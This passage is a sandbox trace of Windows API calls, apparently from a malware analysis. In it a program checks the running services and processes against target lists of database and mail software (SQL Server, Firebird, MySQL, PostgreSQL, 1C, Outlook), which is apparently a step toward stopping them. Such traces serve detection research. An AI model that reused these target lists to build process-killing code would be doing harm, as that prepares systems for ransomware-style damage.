(lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.985] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.985] lstrlenW (lpString="EventSystem") returned 11 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.985] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.985] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.985] lstrlenW (lpString="gpsvc") returned 5 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.985] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.985] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.985] lstrlenW (lpString="iphlpsvc") returned 8 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.985] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.985] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.985] lstrlenW (lpString="LanmanServer") returned 12 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.985] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.985] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.985] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.985] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.986] lstrlenW (lpString="lmhosts") returned 7 [0047.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.986] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.986] lstrlenW (lpString="MMCSS") returned 5 [0047.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.986] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.986] lstrlenW (lpString="MpsSvc") returned 6 [0047.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.986] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.986] lstrlenW (lpString="Netman") returned 6 [0047.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.986] lstrlenW (lpString="netprofm") returned 8 [0047.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.986] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.986] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.986] lstrlenW (lpString="NlaSvc") returned 6 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.987] lstrlenW (lpString="nsi") returned 3 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.987] lstrlenW (lpString="PcaSvc") returned 6 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.987] lstrlenW (lpString="PlugPlay") returned 8 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.987] lstrlenW (lpString="Power") returned 5 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.987] lstrlenW (lpString="ProfSvc") returned 7 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.987] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.987] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.988] lstrlenW (lpString="RpcSs") returned 5 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.988] lstrlenW (lpString="SamSs") returned 5 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.988] lstrlenW (lpString="Schedule") returned 8 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.988] lstrlenW (lpString="SENS") returned 4 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.988] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.988] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.988] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.988] lstrlenW (lpString="Spooler") returned 7 [0047.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.989] lstrlenW (lpString="swprv") returned 5 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.989] lstrlenW (lpString="SysMain") returned 7 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.989] lstrlenW (lpString="Themes") returned 6 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.989] lstrlenW (lpString="TrkWks") returned 6 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.989] lstrlenW (lpString="UxSms") returned 5 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.989] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.989] lstrlenW (lpString="VSS") returned 3 [0047.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.989] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.990] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.990] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.990] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.990] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.990] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.990] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.990] lstrlenW (lpString="Winmgmt") returned 7 [0047.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.990] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.990] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.990] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.990] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0047.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0047.993] Process32FirstW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.993] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.994] lstrlenW (lpString="System") returned 6 [0047.994] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.994] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.995] lstrlenW (lpString="smss.exe") returned 8 [0047.995] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.995] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.996] lstrlenW (lpString="csrss.exe") returned 9 [0047.996] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.996] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.996] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.996] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.997] lstrlenW (lpString="wininit.exe") returned 11 [0047.997] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.997] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.997] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.997] lstrlenW (lpString="csrss.exe") returned 9 [0047.997] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.998] lstrlenW (lpString="winlogon.exe") returned 12 [0047.998] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.999] lstrlenW (lpString="services.exe") returned 12 [0047.999] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.999] lstrlenW (lpString="lsass.exe") returned 9 [0047.999] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.000] lstrlenW (lpString="lsm.exe") returned 7 [0048.000] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.005] lstrlenW (lpString="svchost.exe") returned 11 [0048.005] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.005] lstrlenW (lpString="svchost.exe") returned 11 [0048.005] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.006] lstrlenW (lpString="svchost.exe") returned 11 [0048.006] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.007] lstrlenW (lpString="svchost.exe") returned 11 [0048.007] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.007] lstrlenW (lpString="svchost.exe") returned 11 [0048.007] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.008] lstrlenW (lpString="audiodg.exe") returned 11 [0048.008] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.009] lstrlenW (lpString="svchost.exe") returned 11 [0048.009] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.009] lstrlenW (lpString="svchost.exe") returned 11 [0048.009] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.010] lstrlenW (lpString="dwm.exe") returned 7 [0048.010] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.011] lstrlenW (lpString="explorer.exe") returned 12 [0048.011] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.011] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.011] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.012] lstrlenW (lpString="taskhost.exe") returned 12 [0048.012] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, 